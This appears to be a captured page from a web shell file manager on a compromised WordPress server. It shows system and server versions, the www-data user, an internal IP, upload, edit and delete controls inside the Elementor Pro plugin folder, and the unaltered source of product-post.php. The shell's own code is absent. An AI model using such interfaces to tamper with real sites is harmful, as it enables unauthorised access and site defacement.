[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
elementor-pro
/
modules
/
woocommerce
/
documents
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 product-archive.php
4,881 B
SET
[ EDIT ]
|
[ DEL ]
📄 product-post.php
1,497 B
SET
[ EDIT ]
|
[ DEL ]
📄 product.php
5,403 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: product-post.php
<?php namespace ElementorPro\Modules\Woocommerce\Documents; use Elementor\Core\DocumentTypes\Post; use Elementor\Utils; use ElementorPro\Core\Behaviors\Feature_Lock; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } class Product_Post extends Post { public static function get_properties() { $properties = parent::get_properties(); $properties['cpt'] = [ 'product', ]; return $properties; } /** * @since 2.0.0 * @access public */ public function get_name() { return 'product-post'; } /** * @since 2.0.0 * @access public * @static */ public static function get_title() { return esc_html__( 'Product Post', 'elementor-pro' ); } public static function get_plural_title() { return esc_html__( 'Product Posts', 'elementor-pro' ); } public static function get_lock_behavior_v2() { return new Feature_Lock( [ 'type' => static::get_type(), ] ); } protected static function get_editor_panel_categories() { $categories = parent::get_editor_panel_categories(); unset( $categories['theme-elements-single'] ); $categories = Utils::array_inject( $categories, 'theme-elements', [ 'woocommerce-elements-single' => [ 'title' => esc_html__( 'Product', 'elementor-pro' ), 'active' => false, ], ] ); return $categories; } protected function get_remote_library_config() { $config = parent::get_remote_library_config(); $config['category'] = 'single product'; return $config; } }